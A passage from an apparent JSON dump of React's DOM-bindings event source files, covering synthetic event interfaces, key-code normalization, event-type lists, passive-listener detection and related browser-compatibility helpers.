$FlowFixMe[missing-this-annot]\n    stopPropagation: function () {\n      const event = this.nativeEvent;\n      if (!event) {\n        return;\n      }\n\n      if (event.stopPropagation) {\n        event.stopPropagation();\n        // $FlowFixMe[illegal-typeof] - flow is not aware of `unknown` in IE\n      } else if (typeof event.cancelBubble !== 'unknown') {\n        // The ChangeEventPlugin registers a \"propertychange\" event for\n        // IE. This event does not support bubbling or cancelling, and\n        // any references to cancelBubble throw \"Member not found\".  A\n        // typeof check of \"unknown\" circumvents this issue (and is also\n        // IE specific).\n        event.cancelBubble = true;\n      }\n\n      this.isPropagationStopped = functionThatReturnsTrue;\n    },\n\n    /**\n     * We release all dispatched `SyntheticEvent`s after each event loop, adding\n     * them back into the pool. This allows a way to hold onto a reference that\n     * won't be added back into the pool.\n     */\n    persist: function () {\n      // Modern event system doesn't use pooling.\n    },\n\n    /**\n     * Checks if this event should be released back into the pool.\n     *\n     * @return {boolean} True if this should not be released, false otherwise.\n     */\n    isPersistent: functionThatReturnsTrue,\n  });\n  return SyntheticBaseEvent;\n}\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nconst EventInterface: EventInterfaceType = {\n  eventPhase: 0,\n  bubbles: 0,\n  cancelable: 0,\n  timeStamp: function (event: {[propName: string]: mixed}) {\n    return event.timeStamp || Date.now();\n  },\n  defaultPrevented: 0,\n  isTrusted: 0,\n};\nexport const SyntheticEvent: $FlowFixMe = createSyntheticEvent(EventInterface);\n\nconst UIEventInterface: EventInterfaceType = {\n  ...EventInterface,\n  view: 0,\n  detail: 0,\n};\nexport const SyntheticUIEvent: $FlowFixMe =\n  createSyntheticEvent(UIEventInterface);\n\nlet lastMovementX;\nlet lastMovementY;\nlet lastMouseEvent: ?{[propName: string]: mixed};\n\nfunction updateMouseMovementPolyfillState(event: {[propName: string]: mixed}) {\n  if (event !== lastMouseEvent) {\n    if (lastMouseEvent && event.type === 'mousemove') {\n      // $FlowFixMe[unsafe-arithmetic] assuming this is a number\n      lastMovementX = event.screenX - lastMouseEvent.screenX;\n      // $FlowFixMe[unsafe-arithmetic] assuming this is a number\n      lastMovementY = event.screenY - lastMouseEvent.screenY;\n    } else {\n      lastMovementX = 0;\n      lastMovementY = 0;\n    }\n    lastMouseEvent = event;\n  }\n}\n\n/**\n * @interface MouseEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nconst MouseEventInterface: EventInterfaceType = {\n  ...UIEventInterface,\n  screenX: 0,\n  screenY: 0,\n  clientX: 0,\n  clientY: 0,\n  pageX: 0,\n  pageY: 0,\n  ctrlKey: 0,\n  shiftKey: 0,\n  altKey: 0,\n  metaKey: 0,\n  getModifierState: getEventModifierState,\n  button: 0,\n  buttons: 0,\n  relatedTarget: function (event) {\n    if (event.relatedTarget === undefined)\n      return event.fromElement === event.srcElement\n        ? event.toElement\n        : event.fromElement;\n\n    return event.relatedTarget;\n  },\n  movementX: function (event) {\n    if ('movementX' in event) {\n      return event.movementX;\n    }\n    updateMouseMovementPolyfillState(event);\n    return lastMovementX;\n  },\n  movementY: function (event) {\n    if ('movementY' in event) {\n      return event.movementY;\n    }\n    // Don't need to call updateMouseMovementPolyfillState() here\n    // because it's guaranteed to have already run when movementX\n    // was copied.\n    return lastMovementY;\n  },\n};\n\nexport const SyntheticMouseEvent: $FlowFixMe =\n  createSyntheticEvent(MouseEventInterface);\n\n/**\n * @interface DragEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nconst DragEventInterface: EventInterfaceType = {\n  ...MouseEventInterface,\n  dataTransfer: 0,\n};\nexport const SyntheticDragEvent: $FlowFixMe =\n  createSyntheticEvent(DragEventInterface);\n\n/**\n * @interface FocusEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nconst FocusEventInterface: EventInterfaceType = {\n  ...UIEventInterface,\n  relatedTarget: 0,\n};\nexport const SyntheticFocusEvent: $FlowFixMe =\n  createSyntheticEvent(FocusEventInterface);\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/css3-animations/#AnimationEvent-interface\n * @see https://developer.mozilla.org/en-US/docs/Web/API/AnimationEvent\n */\nconst AnimationEventInterface: EventInterfaceType = {\n  ...EventInterface,\n  animationName: 0,\n  elapsedTime: 0,\n  pseudoElement: 0,\n};\nexport const SyntheticAnimationEvent: $FlowFixMe = createSyntheticEvent(\n  AnimationEventInterface,\n);\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/clipboard-apis/\n */\nconst ClipboardEventInterface: EventInterfaceType = {\n  ...EventInterface,\n  clipboardData: function (event) {\n    return 'clipboardData' in event\n      ? event.clipboardData\n      : window.clipboardData;\n  },\n};\nexport const SyntheticClipboardEvent: $FlowFixMe = createSyntheticEvent(\n  ClipboardEventInterface,\n);\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/DOM-Level-3-Events/#events-compositionevents\n */\nconst CompositionEventInterface: EventInterfaceType = {\n  ...EventInterface,\n  data: 0,\n};\nexport const SyntheticCompositionEvent: $FlowFixMe = createSyntheticEvent(\n  CompositionEventInterface,\n);\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/2013/WD-DOM-Level-3-Events-20131105\n *      /#events-inputevents\n */\n// Happens to share the same list for now.\nexport const SyntheticInputEvent = SyntheticCompositionEvent;\n\n/**\n * Normalization of deprecated HTML5 `key` values\n * @see https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent#Key_names\n */\nconst normalizeKey = {\n  Esc: 'Escape',\n  Spacebar: ' ',\n  Left: 'ArrowLeft',\n  Up: 'ArrowUp',\n  Right: 'ArrowRight',\n  Down: 'ArrowDown',\n  Del: 'Delete',\n  Win: 'OS',\n  Menu: 'ContextMenu',\n  Apps: 'ContextMenu',\n  Scroll: 'ScrollLock',\n  MozPrintableKey: 'Unidentified',\n};\n\n/**\n * Translation from legacy `keyCode` to HTML5 `key`\n * Only special keys supported, all others depend on keyboard layout or browser\n * @see https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent#Key_names\n */\nconst translateToKey = {\n  '8': 'Backspace',\n  '9': 'Tab',\n  '12': 'Clear',\n  '13': 'Enter',\n  '16': 'Shift',\n  '17': 'Control',\n  '18': 'Alt',\n  '19': 'Pause',\n  '20': 'CapsLock',\n  '27': 'Escape',\n  '32': ' ',\n  '33': 'PageUp',\n  '34': 'PageDown',\n  '35': 'End',\n  '36': 'Home',\n  '37': 'ArrowLeft',\n  '38': 'ArrowUp',\n  '39': 'ArrowRight',\n  '40': 'ArrowDown',\n  '45': 'Insert',\n  '46': 'Delete',\n  '112': 'F1',\n  '113': 'F2',\n  '114': 'F3',\n  '115': 'F4',\n  '116': 'F5',\n  '117': 'F6',\n  '118': 'F7',\n  '119': 'F8',\n  '120': 'F9',\n  '121': 'F10',\n  '122': 'F11',\n  '123': 'F12',\n  '144': 'NumLock',\n  '145': 'ScrollLock',\n  '224': 'Meta',\n};\n\n/**\n * @param {object} nativeEvent Native browser event.\n * @return {string} Normalized `key` property.\n */\nfunction getEventKey(nativeEvent: {[propName: string]: mixed}) {\n  if (nativeEvent.key) {\n    // Normalize inconsistent values reported by browsers due to\n    // implementations of a working draft specification.\n\n    // FireFox implements `key` but returns `MozPrintableKey` for all\n    // printable characters (normalized to `Unidentified`), ignore it.\n    const key =\n      // $FlowFixMe[invalid-computed-prop] unable to index with a `mixed` value\n      normalizeKey[nativeEvent.key] || nativeEvent.key;\n    if (key !== 'Unidentified') {\n      return key;\n    }\n  }\n\n  // Browser does not implement `key`, polyfill as much of it as we can.\n  if (nativeEvent.type === 'keypress') {\n    const charCode = getEventCharCode(\n      // $FlowFixMe[incompatible-call] unable to narrow to `KeyboardEvent`\n      nativeEvent,\n    );\n\n    // The enter-key is technically both printable and non-printable and can\n    // thus be captured by `keypress`, no other non-printable key should.\n    return charCode === 13 ? 'Enter' : String.fromCharCode(charCode);\n  }\n  if (nativeEvent.type === 'keydown' || nativeEvent.type === 'keyup') {\n    // While user keyboard layout determines the actual meaning of each\n    // `keyCode` value, almost all function keys have a universal value.\n    // $FlowFixMe[invalid-computed-prop] unable to index with a `mixed` value\n    return translateToKey[nativeEvent.keyCode] || 'Unidentified';\n  }\n  return '';\n}\n\n/**\n * Translation from modifier key to the associated property in the event.\n * @see http://www.w3.org/TR/DOM-Level-3-Events/#keys-Modifiers\n */\nconst modifierKeyToProp = {\n  Alt: 'altKey',\n  Control: 'ctrlKey',\n  Meta: 'metaKey',\n  Shift: 'shiftKey',\n};\n\n// Older browsers (Safari <= 10, iOS Safari <= 10.2) do not support\n// getModifierState. If getModifierState is not supported, we map it to a set of\n// modifier keys exposed by the event. In this case, Lock-keys are not supported.\n// $FlowFixMe[missing-local-annot]\n// $FlowFixMe[missing-this-annot]\nfunction modifierStateGetter(keyArg) {\n  const syntheticEvent = this;\n  const nativeEvent = syntheticEvent.nativeEvent;\n  if (nativeEvent.getModifierState) {\n    return nativeEvent.getModifierState(keyArg);\n  }\n  const keyProp = modifierKeyToProp[keyArg];\n  return keyProp ? !!nativeEvent[keyProp] : false;\n}\n\nfunction getEventModifierState(nativeEvent: {[propName: string]: mixed}) {\n  return modifierStateGetter;\n}\n\n/**\n * @interface KeyboardEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nconst KeyboardEventInterface: EventInterfaceType = {\n  ...UIEventInterface,\n  key: getEventKey,\n  code: 0,\n  location: 0,\n  ctrlKey: 0,\n  shiftKey: 0,\n  altKey: 0,\n  metaKey: 0,\n  repeat: 0,\n  locale: 0,\n  getModifierState: getEventModifierState,\n  // Legacy Interface\n  charCode: function (event: {[propName: string]: mixed}) {\n    // `charCode` is the result of a KeyPress event and represents the value of\n    // the actual printable character.\n\n    // KeyPress is deprecated, but its replacement is not yet final and not\n    // implemented in any major browser. Only KeyPress has charCode.\n    if (event.type === 'keypress') {\n      return getEventCharCode(\n        // $FlowFixMe[incompatible-call] unable to narrow to `KeyboardEvent`\n        event,\n      );\n    }\n    return 0;\n  },\n  keyCode: function (event: {[propName: string]: mixed}) {\n    // `keyCode` is the result of a KeyDown/Up event and represents the value of\n    // physical keyboard key.\n\n    // The actual meaning of the value depends on the users' keyboard layout\n    // which cannot be detected. Assuming that it is a US keyboard layout\n    // provides a surprisingly accurate mapping for US and European users.\n    // Due to this, it is left to the user to implement at this time.\n    if (event.type === 'keydown' || event.type === 'keyup') {\n      return event.keyCode;\n    }\n    return 0;\n  },\n  which: function (event: {[propName: string]: mixed}) {\n    // `which` is an alias for either `keyCode` or `charCode` depending on the\n    // type of the event.\n    if (event.type === 'keypress') {\n      return getEventCharCode(\n        // $FlowFixMe[incompatible-call] unable to narrow to `KeyboardEvent`\n        event,\n      );\n    }\n    if (event.type === 'keydown' || event.type === 'keyup') {\n      return event.keyCode;\n    }\n    return 0;\n  },\n};\nexport const SyntheticKeyboardEvent: $FlowFixMe = createSyntheticEvent(\n  KeyboardEventInterface,\n);\n\n/**\n * @interface PointerEvent\n * @see http://www.w3.org/TR/pointerevents/\n */\nconst PointerEventInterface: EventInterfaceType = {\n  ...MouseEventInterface,\n  pointerId: 0,\n  width: 0,\n  height: 0,\n  pressure: 0,\n  tangentialPressure: 0,\n  tiltX: 0,\n  tiltY: 0,\n  twist: 0,\n  pointerType: 0,\n  isPrimary: 0,\n};\nexport const SyntheticPointerEvent: $FlowFixMe = createSyntheticEvent(\n  PointerEventInterface,\n);\n\n/**\n * @interface SubmitEvent\n * @see https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#the-submitevent-interface\n */\nconst SubmitEventInterface: EventInterfaceType = {\n  ...EventInterface,\n  submitter: 0,\n};\nexport const SyntheticSubmitEvent: $FlowFixMe =\n  createSyntheticEvent(SubmitEventInterface);\n\n/**\n * @interface TouchEvent\n * @see http://www.w3.org/TR/touch-events/\n */\nconst TouchEventInterface: EventInterfaceType = {\n  ...UIEventInterface,\n  touches: 0,\n  targetTouches: 0,\n  changedTouches: 0,\n  altKey: 0,\n  metaKey: 0,\n  ctrlKey: 0,\n  shiftKey: 0,\n  getModifierState: getEventModifierState,\n};\nexport const SyntheticTouchEvent: $FlowFixMe =\n  createSyntheticEvent(TouchEventInterface);\n\n/**\n * @interface Event\n * @see http://www.w3.org/TR/2009/WD-css3-transitions-20090320/#transition-events-\n * @see https://developer.mozilla.org/en-US/docs/Web/API/TransitionEvent\n */\nconst TransitionEventInterface: EventInterfaceType = {\n  ...EventInterface,\n  propertyName: 0,\n  elapsedTime: 0,\n  pseudoElement: 0,\n};\nexport const SyntheticTransitionEvent: $FlowFixMe = createSyntheticEvent(\n  TransitionEventInterface,\n);\n\n/**\n * @interface WheelEvent\n * @see http://www.w3.org/TR/DOM-Level-3-Events/\n */\nconst WheelEventInterface: EventInterfaceType = {\n  ...MouseEventInterface,\n  deltaX(event: {[propName: string]: mixed}) {\n    return 'deltaX' in event\n      ? event.deltaX\n      : // Fallback to `wheelDeltaX` for Webkit and normalize (right is positive).\n        'wheelDeltaX' in event\n        ? // $FlowFixMe[unsafe-arithmetic] assuming this is a number\n          -event.wheelDeltaX\n        : 0;\n  },\n  deltaY(event: {[propName: string]: mixed}) {\n    return 'deltaY' in event\n      ? event.deltaY\n      : // Fallback to `wheelDeltaY` for Webkit and normalize (down is positive).\n        'wheelDeltaY' in event\n        ? // $FlowFixMe[unsafe-arithmetic] assuming this is a number\n          -event.wheelDeltaY\n        : // Fallback to `wheelDelta` for IE<9 and normalize (down is positive).\n          'wheelDelta' in event\n          ? // $FlowFixMe[unsafe-arithmetic] assuming this is a number\n            -event.wheelDelta\n          : 0;\n  },\n  deltaZ: 0,\n\n  // Browsers without \"deltaMode\" is reporting in raw wheel delta where one\n  // notch on the scroll is always +/- 120, roughly equivalent to pixels.\n  // A good approximation of DOM_DELTA_LINE (1) is 5% of viewport size or\n  // ~40 pixels, for DOM_DELTA_SCREEN (2) it is 87.5% of viewport size.\n  deltaMode: 0,\n};\nexport const SyntheticWheelEvent: $FlowFixMe =\n  createSyntheticEvent(WheelEventInterface);\n\nconst ToggleEventInterface: EventInterfaceType = {\n  ...EventInterface,\n  newState: 0,\n  oldState: 0,\n};\nexport const SyntheticToggleEvent: $FlowFixMe =\n  createSyntheticEvent(ToggleEventInterface);\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/TopLevelEventTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type TopLevelType =\n  | 'abort'\n  // Dynamic and vendor-prefixed at the usage site:\n  // 'animationiteration' |\n  // 'animationend |\n  // 'animationstart' |\n  | 'canplay'\n  | 'canplaythrough'\n  | 'cancel'\n  | 'change'\n  | 'click'\n  | 'close'\n  | 'compositionend'\n  | 'compositionstart'\n  | 'compositionupdate'\n  | 'contextmenu'\n  | 'copy'\n  | 'cut'\n  | 'dblclick'\n  | 'auxclick'\n  | 'drag'\n  | 'dragend'\n  | 'dragenter'\n  | 'dragexit'\n  | 'dragleave'\n  | 'dragover'\n  | 'dragstart'\n  | 'drop'\n  | 'durationchange'\n  | 'emptied'\n  | 'encrypted'\n  | 'ended'\n  | 'error'\n  | 'gotpointercapture'\n  | 'input'\n  | 'invalid'\n  | 'keydown'\n  | 'keypress'\n  | 'keyup'\n  | 'load'\n  | 'loadstart'\n  | 'loadeddata'\n  | 'loadedmetadata'\n  | 'lostpointercapture'\n  | 'mousedown'\n  | 'mousemove'\n  | 'mouseout'\n  | 'mouseover'\n  | 'mouseup'\n  | 'paste'\n  | 'pause'\n  | 'play'\n  | 'playing'\n  | 'pointercancel'\n  | 'pointerdown'\n  | 'pointerenter'\n  | 'pointerleave'\n  | 'pointermove'\n  | 'pointerout'\n  | 'pointerover'\n  | 'pointerup'\n  | 'progress'\n  | 'ratechange'\n  | 'reset'\n  | 'resize'\n  | 'scroll'\n  | 'scrollend'\n  | 'seeked'\n  | 'seeking'\n  | 'selectionchange'\n  | 'stalled'\n  | 'submit'\n  | 'suspend'\n  | 'textInput'\n  | 'timeupdate'\n  | 'toggle'\n  | 'touchcancel'\n  | 'touchend'\n  | 'touchmove'\n  | 'touchstart'\n  // Dynamic and vendor-prefixed at the usage site:\n  // 'transitionend' |\n  | 'volumechange'\n  | 'waiting'\n  | 'wheel'\n  | 'afterblur'\n  | 'beforeblur'\n  | 'focusin'\n  | 'focusout';\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/checkPassiveEvents.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {canUseDOM} from 'shared/ExecutionEnvironment';\n\nexport let passiveBrowserEventsSupported: boolean = false;\n\n// Check if browser support events with passive listeners\n// https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#Safely_detecting_option_support\nif (canUseDOM) {\n  try {\n    const options: {\n      passive?: void,\n    } = {};\n    Object.defineProperty(options, 'passive', {\n      get: function () {\n        passiveBrowserEventsSupported = true;\n      },\n    });\n    window.addEventListener('test', options, options);\n    window.removeEventListener('test', options, options);\n  } catch (e) {\n    passiveBrowserEventsSupported = false;\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/forks/EventListener-www.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst EventListenerWWW = require('EventListener');\n\nimport typeof * as EventListenerType from '../EventListener';\nimport typeof * as EventListenerShimType from './EventListener-www';\n\nexport function addEventBubbleListener(\n  target: EventTarget,\n  eventType: string,\n  listener: Function,\n): mixed {\n  return EventListenerWWW.listen(target, eventType, listener);\n}\n\nexport function addEventCaptureListener(\n  target: EventTarget,\n  eventType: string,\n  listener: Function,\n): mixed {\n  return EventListenerWWW.capture(target, eventType, listener);\n}\n\nexport function addEventCaptureListenerWithPassiveFlag(\n  target: EventTarget,\n  eventType: string,\n  listener: Function,\n  passive: boolean,\n): mixed {\n  return EventListenerWWW.captureWithPassiveFlag(\n    target,\n    eventType,\n    listener,\n    passive,\n  );\n}\n\nexport function addEventBubbleListenerWithPassiveFlag(\n  target: EventTarget,\n  eventType: string,\n  listener: Function,\n  passive: boolean,\n): mixed {\n  return EventListenerWWW.bubbleWithPassiveFlag(\n    target,\n    eventType,\n    listener,\n    passive,\n  );\n}\n\nexport function removeEventListener(\n  target: EventTarget,\n  eventType: string,\n  listener: Function,\n  capture: boolean,\n) {\n  listener.remove();\n}\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): EventListenerType): EventListenerShimType): EventListenerType);\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/getEventCharCode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * `charCode` represents the actual \"character code\" and is safe to use with\n * `String.fromCharCode`. As such, only keys that correspond to printable\n * characters produce a valid `charCode`, the only exception to this is Enter.\n * The Tab-key is considered non-printable and does not have a `charCode`,\n * presumably because it does not produce a tab-character in browsers.\n *\n * @param {object} nativeEvent Native browser event.\n * @return {number} Normalized `charCode` property.\n */\nfunction getEventCharCode(nativeEvent: KeyboardEvent): number {\n  let charCode;\n  const keyCode = nativeEvent.keyCode;\n\n  if ('charCode' in nativeEvent) {\n    charCode = nativeEvent.charCode;\n\n    // FF does not set `charCode` for the Enter-key, check against `keyCode`.\n    if (charCode === 0 && keyCode === 13) {\n      charCode = 13;\n    }\n  } else {\n    // IE8 does not implement `charCode`, but `keyCode` has the correct value.\n    charCode = keyCode;\n  }\n\n  // IE and Edge (on Windows) and Chrome / Safari (on Windows and Linux)\n  // report Enter as charCode 10 when ctrl is pressed.\n  if (charCode === 10) {\n    charCode = 13;\n  }\n\n  // Some non-printable keys are reported in `charCode`/`keyCode`, discard them.\n  // Must not discard the (non-)printable Enter-key.\n  if (charCode >= 32 || charCode === 13) {\n    return charCode;\n  }\n\n  return 0;\n}\n\nexport default getEventCharCode;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/getEventTarget.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {TEXT_NODE} from '../client/HTMLNodeType';\n\n/**\n * Gets the target node from a native browser event by accounting for\n * inconsistencies in browser DOM APIs.\n *\n * @param {object} nativeEvent Native browser event.\n * @return {DOMEventTarget} Target node.\n */\nfunction getEventTarget(nativeEvent) {\n  // Fallback to nativeEvent.srcElement for IE9\n  // https://github.com/facebook/react/issues/12506\n  let target = nativeEvent.target || nativeEvent.srcElement || window;\n\n  // Normalize SVG <use> element events #4963\n  if (target.correspondingUseElement) {\n    target = target.correspondingUseElement;\n  }\n\n  // Safari may fire events on text nodes (Node.TEXT_NODE is 3).\n  // @see http://www.quirksmode.org/js/events_properties.html\n  return target.nodeType === TEXT_NODE ? target.parentNode : target;\n}\n\nexport default getEventTarget;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/getListener.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {Props} from '../client/ReactFiberConfigDOM';\n\nimport {getFiberCurrentPropsFromNode} from '../client/ReactDOMComponentTree';\n\nfunction isInteractive(tag: string): boolean {\n  return (\n    tag === 'button' ||\n    tag === 'input' ||\n    tag === 'select' ||\n    tag === 'textarea'\n  );\n}\n\nfunction shouldPreventMouseEvent(\n  name: string,\n  type: string,\n  props: Props,\n): boolean {\n  switch (name) {\n    case 'onClick':\n    case 'onClickCapture':\n    case 'onDoubleClick':\n    case 'onDoubleClickCapture':\n    case 'onMouseDown':\n    case 'onMouseDownCapture':\n    case 'onMouseMove':\n    case 'onMouseMoveCapture':\n    case 'onMouseUp':\n    case 'onMouseUpCapture':\n    case 'onMouseEnter':\n      return !!(props.disabled && isInteractive(type));\n    default:\n      return false;\n  }\n}\n\n/**\n * @param {object} inst The instance, which is the source of events.\n * @param {string} registrationName Name of listener (e.g. `onClick`).\n * @return {?function} The stored callback.\n */\nexport default function getListener(\n  inst: Fiber,\n  registrationName: string,\n): Function | null {\n  const stateNode = inst.stateNode;\n  if (stateNode === null) {\n    // Work in progress (ex: onload events in incremental mode).\n    return null;\n  }\n  const props = getFiberCurrentPropsFromNode(stateNode);\n  if (props === null) {\n    // Work in progress.\n    return null;\n  }\n  // $FlowFixMe[invalid-computed-prop]\n  const listener = props[registrationName];\n  if (shouldPreventMouseEvent(registrationName, inst.type, props)) {\n    return null;\n  }\n\n  if (listener && typeof listener !== 'function') {\n    throw new Error(\n      `Expected \\`${registrationName}\\` listener to be a function, instead got a value of \\`${typeof listener}\\` type.`,\n    );\n  }\n\n  return listener;\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/getVendorPrefixedEventName.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {canUseDOM} from 'shared/ExecutionEnvironment';\n\n/**\n * Generate a mapping of standard vendor prefixes using the defined style property and event name.\n *\n * @param {string} styleProp\n * @param {string} eventName\n * @returns {object}\n */\nfunction makePrefixMap(styleProp, eventName) {\n  const prefixes = {};\n\n  prefixes[styleProp.toLowerCase()] = eventName.toLowerCase();\n  prefixes['Webkit' + styleProp] = 'webkit' + eventName;\n  prefixes['Moz' + styleProp] = 'moz' + eventName;\n\n  return prefixes;\n}\n\n/**\n * A list of event names to a configurable list of vendor prefixes.\n */\nconst vendorPrefixes = {\n  animationend: makePrefixMap('Animation', 'AnimationEnd'),\n  animationiteration: makePrefixMap('Animation', 'AnimationIteration'),\n  animationstart: makePrefixMap('Animation', 'AnimationStart'),\n  transitionrun: makePrefixMap('Transition', 'TransitionRun'),\n  transitionstart: makePrefixMap('Transition', 'TransitionStart'),\n  transitioncancel: makePrefixMap('Transition', 'TransitionCancel'),\n  transitionend: makePrefixMap('Transition', 'TransitionEnd'),\n};\n\n/**\n * Event names that have already been detected and prefixed (if applicable).\n */\nconst prefixedEventNames = {};\n\n/**\n * Element to check for prefixes on.\n */\nlet style = {};\n\n/**\n * Bootstrap if a DOM exists.\n */\nif (canUseDOM) {\n  style = document.createElement('div').style;\n\n  // On some platforms, in particular some releases of Android 4.x,\n  // the un-prefixed \"animation\" and \"transition\" properties are defined on the\n  // style object but the events that fire will still be prefixed, so we need\n  // to check if the un-prefixed events are usable, and if not remove them from the map.\n  if (!('AnimationEvent' in window)) {\n    delete vendorPrefixes.animationend.animation;\n    delete vendorPrefixes.animationiteration.animation;\n    delete vendorPrefixes.animationstart.animation;\n  }\n\n  // Same as above\n  if (!('TransitionEvent' in window)) {\n    delete vendorPrefixes.transitionend.transition;\n  }\n}\n\n/**\n * Attempts to determine the correct vendor prefixed event name.\n *\n * @param {string} eventName\n * @returns {string}\n */\nfunction getVendorPrefixedEventName(eventName) {\n  if (prefixedEventNames[eventName]) {\n    return prefixedEventNames[eventName];\n  } else if (!vendorPrefixes[eventName]) {\n    return eventName;\n  }\n\n  const prefixMap = vendorPrefixes[eventName];\n\n  for (const styleProp in prefixMap) {\n    if (prefixMap.hasOwnProperty(styleProp) && styleProp in style) {\n      return (prefixedEventNames[eventName] = prefixMap[styleProp]);\n    }\n  }\n\n  return eventName;\n}\n\nexport default getVendorPrefixedEventName;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/isEventSupported.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {canUseDOM} from 'shared/ExecutionEnvironment';\n\n/**\n * Checks if an event is supported in the current execution environment.\n *\n * NOTE: This will not work correctly for non-generic events such as `change`,\n * `reset`, `load`, `error`, and `select`.\n *\n * Borrows from Modernizr.\n *\n * @param {string} eventNameSuffix Event name, e.g. \"click\".\n * @return {boolean} True if the event is supported.\n * @internal\n * @license Modernizr 3.0.0pre (Custom Build) | MIT\n */\nfunction isEventSupported(eventNameSuffix: string): boolean {\n  if (!canUseDOM) {\n    return false;\n  }\n\n  const eventName = 'on' + eventNameSuffix;\n  let isSupported = eventName in document;\n\n  if (!isSupported) {\n    const element = document.createElement('div');\n    element.setAttribute(eventName, 'return;');\n    isSupported = typeof (element: any)[eventName] === 'function';\n  }\n\n  return isSupported;\n}\n\nexport default isEventSupported;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/isTextInputElement.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * @see http://www.whatwg.org/specs/web-apps/current-work/multipage/the-input-element.html#input-type-attr-summary\n */\nconst supportedInputTypes: {[key: string]: true | void, ...} = {\n  color: true,\n  date: true,\n  datetime: true,\n  'datetime-local': true,\n  email: true,\n  month: true,\n  number: true,\n  password: true,\n  range: true,\n  search: true,\n  tel: true,\n  text: true,\n  time: true,\n  url: true,\n  week: true,\n};\n\nfunction isTextInputElement(elem: ?HTMLElement): boolean {\n  const nodeName = elem && elem.nodeName && elem.nodeName.toLowerCase();\n\n  if (nodeName === 'input') {\n    return !!supportedInputTypes[((elem: any): HTMLInputElement).type];\n  }\n\n  if (nodeName === 'textarea') {\n    return true;\n  }\n\n  return false;\n}\n\nexport default isTextInputElement;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/plugins/BeforeInputEventPlugin.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {DOMEventName} from '../../events/DOMEventNames';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\nimport type {AnyNativeEvent} from '../../events/PluginModuleType';\nimport type {DispatchQueue} from '../DOMPluginEventSystem';\nimport type {EventSystemFlags} from '../EventSystemFlags';\nimport type {ReactSyntheticEvent} from '../ReactSyntheticEventType';\n\nimport {canUseDOM} from 'shared/ExecutionEnvironment';\n\nimport {registerTwoPhaseEvent} from '../EventRegistry';\nimport {\n  getData as FallbackCompositionStateGetData,\n  initialize as FallbackCompositionStateInitialize,\n  reset as FallbackCompositionStateReset,\n} from '../FallbackCompositionState';\nimport {\n  SyntheticCompositionEvent,\n  SyntheticInputEvent,\n} from '../SyntheticEvent';\nimport {accumulateTwoPhaseListeners} from '../DOMPluginEventSystem';\n\nconst END_KEYCODES = [9, 13, 27, 32]; // Tab, Return, Esc, Space\nconst START_KEYCODE = 229;\n\nconst canUseCompositionEvent = canUseDOM && 'CompositionEvent' in window;\n\nlet documentMode = null;\nif (canUseDOM && 'documentMode' in document) {\n  documentMode = document.documentMode;\n}\n\n// Webkit offers a very useful `textInput` event that can be used to\n// directly represent `beforeInput`. The IE `textinput` event is not as\n// useful, so we don't use it.\nconst canUseTextInputEvent =\n  canUseDOM && 'TextEvent' in window && !documentMode;\n\n// In IE9+, we have access to composition events, but the data supplied\n// by the native compositionend event may be incorrect. Japanese ideographic\n// spaces, for instance (\\u3000) are not recorded correctly.\nconst useFallbackCompositionData =\n  canUseDOM &&\n  (!canUseCompositionEvent ||\n    (documentMode && documentMode > 8 && 